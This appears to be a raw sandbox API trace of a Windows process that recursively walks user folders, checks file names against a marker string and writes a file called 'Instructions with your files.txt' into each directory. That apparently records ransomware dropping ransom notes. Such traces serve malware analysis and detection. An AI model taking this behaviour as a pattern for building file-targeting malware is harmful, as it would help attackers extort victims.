[0132.530] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.531] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.531] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.532] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.532] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.532] CloseHandle (hObject=0x10c) returned 1
[0132.532] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.532] GetProcessHeap () returned 0x810000
[0132.532] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.532] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
[0132.532] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Instructions with your files.txt") returned 53
[0132.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Instructions with your files.txt" (normalized: "c:\\users\\default\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0132.532] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0132.533] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0132.533] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0132.534] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0132.534] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0132.534] CloseHandle (hObject=0x108) returned 1
[0132.534] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0132.534] GetProcessHeap () returned 0x810000
[0132.534] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0132.534] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1
[0132.534] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default User") returned 25
[0132.534] GetProcessHeap () returned 0x810000
[0132.534] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0132.534] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default User\\*") returned 27
[0132.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default User\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="Ȭ癙篠\x87翿")) returned 0xffffffff
[0132.534] GetProcessHeap () returned 0x810000
[0132.534] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0132.534] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.534] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\desktop.ini") returned 24
[0132.534] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.534] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1
[0132.534] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public") returned 19
[0132.534] GetProcessHeap () returned 0x810000
[0132.534] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0132.534] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\*") returned 21
[0132.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0132.535] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\.") returned 21
[0132.535] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.535] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.535] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\..") returned 22
[0132.535] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.535] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
[0132.535] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop") returned 27
[0132.535] GetProcessHeap () returned 0x810000
[0132.535] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.535] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\*") returned 29
[0132.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.535] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\.") returned 29
[0132.535] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.535] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.535] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\..") returned 30
[0132.535] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.535] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1
[0132.535] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned 46
[0132.535] StrStrIW (lpFirst="Adobe Reader X.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.535] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.535] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\desktop.ini") returned 39
[0132.535] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.535] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1
[0132.535] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\Google Chrome.lnk") returned 45
[0132.535] StrStrIW (lpFirst="Google Chrome.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.535] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1
[0132.535] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk") returned 47
[0132.536] StrStrIW (lpFirst="Mozilla Firefox.lnk", lpSrch="SDfghjkl") returned 0x0
[0132.536] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0
[0132.536] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\Instructions with your files.txt") returned 60
[0132.536] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\Instructions with your files.txt" (normalized: "c:\\users\\public\\desktop\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.536] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.537] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.537] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.537] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.537] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.537] CloseHandle (hObject=0x10c) returned 1
[0132.538] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.538] GetProcessHeap () returned 0x810000
[0132.538] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.538] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.538] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\desktop.ini") returned 31
[0132.538] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.538] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
[0132.538] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents") returned 29
[0132.538] GetProcessHeap () returned 0x810000
[0132.538] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.538] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\*") returned 31
[0132.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.538] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\.") returned 31
[0132.538] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.538] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.538] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\..") returned 32
[0132.538] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.538] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.538] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\desktop.ini") returned 41
[0132.539] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.539] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
[0132.539] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Music") returned 38
[0132.539] GetProcessHeap () returned 0x810000
[0132.539] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.539] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Music\\*") returned 40
[0132.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x1ca0441, ftCreationTime.dwLowDateTime=0x2d195020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x11, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯀
翿")) returned 0xffffffff
[0132.539] GetProcessHeap () returned 0x810000
[0132.539] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.539] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
[0132.539] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures") returned 41
[0132.539] GetProcessHeap () returned 0x810000
[0132.539] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.539] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures\\*") returned 43
[0132.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x1ca0441, ftCreationTime.dwLowDateTime=0x2d195020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x11, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯀
翿")) returned 0xffffffff
[0132.539] GetProcessHeap () returned 0x810000
[0132.539] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.539] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
